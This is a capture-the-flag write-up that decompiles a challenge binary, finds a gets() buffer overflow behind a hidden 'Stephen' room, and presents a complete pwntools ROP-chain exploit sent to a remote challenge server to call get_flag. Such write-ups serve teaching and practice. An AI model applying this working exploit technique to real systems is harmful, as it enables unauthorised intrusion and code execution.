Challenge has a function room4 which can be called up from the main menu with item 4.   Here is the code snippet of the main function from Ghidra:
```C        if (cVar1 == '3') {          if (isInRoom1 == '\0') {            if (isInRoom2 == '\0') {              if (isInRoom3 == '\0') {                if (isInRoom4 == '\0') {                  puts("You aren\'t in a room!!");                }                else {                  room4();                }              }              else {                puts("Have you tried ALL the options?");              }            }            else {              puts("Hola como estas esta habitación es español");            }          }          else {            puts("Hello, this is just a plain old room. Poke around the others");          }```
As we can see from the main menu, only one room4 function is called. Let's take a look at her code:
```C  puts("Wow this room is special. It echoes back what you say!");  while( true ) {    if (unlockHiddenRoom4 != '\0') {      puts("Welcome to the hidden room! Good Luck");      printf("Enter something: ");      gets(pos_bof);      return;    }    printf("Press Q to exit: ");    fgets(input,0x10,stdin);    remove_newline(input);    printf("\tYou entered \'%s\'\n",input);    iVar1 = strcmp(input,"Q");    if (iVar1 == 0) break;    iVar1 = strcmp(input,"Stephen");    if (iVar1 == 0) {      unlockHiddenRoom4 = '\x01';    }  }  return;```
Posible buffer overflow here.    Lets check security first    
```bashauctf$ checksec challenge[*] '/auctf/challenge'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled```
The stack is not executable, so we use the ROP chain for exploitation   Here is the finished code of exploit  
```pythonfrom pwn import *
#current=process("./challenge")current=remote("157.245.252.113",30012)e=ELF("./challenge")#gdb.attach(current,'''#set disassembly-flavor intel#b get_flag#b *0x565568e4#''')base=0x56555000#because ASLR disable static base of binarycurrent.sendlineafter("Your choice: ",str(2))current.sendlineafter("Choose a room to enter: ",str(4))current.sendlineafter("Your choice: ",str(3))current.sendlineafter("Press Q to exit: ","Stephen")ebp=0xffffd6a8#old ebp because we overwrite ebp on the stackrop=b''rop+=p32(base+0x0000101e)#pop ebx ; retrop+=p32(base+0x4000)#base for libc call#used to calculate the address of imported characters, on this case getsrop+=p32(base+0x1050)#gets#JMP        dword ptr [0x14 + EBX]=>gets rop+=p32(base+0x19d0)#pop edi ; pop ebp ; ret#Because gets for some reason takes as an argument a variable in the stack through one and interprets the next as a return address, which does not allow to use gets twice in a row#Therefore it is hererop+=p32(base+e.symbols[b'key1'])#key1 addr#gets(key1)->pop edi; pop ebp; ret->gets(key3)->get_flag()rop+=p32(ebp)#ebprop+=p32(base+0x1050)#getsrop+=p32(base+e.symbols[b'get_flag'])rop+=p32(base+e.symbols[b'key3'])#key1 addrcurrent.sendlineafter("Enter something: ",b"A"*24+p32(ebp)+rop)#send payloadcurrent.send(b"\x01\x01"+p32(0x616e6765)+p32(0x537472)+b'\n')#send data to key1,key2 and key4current.send(p32(0x56557415)+b'\n')#send data to key3current.interactive()```
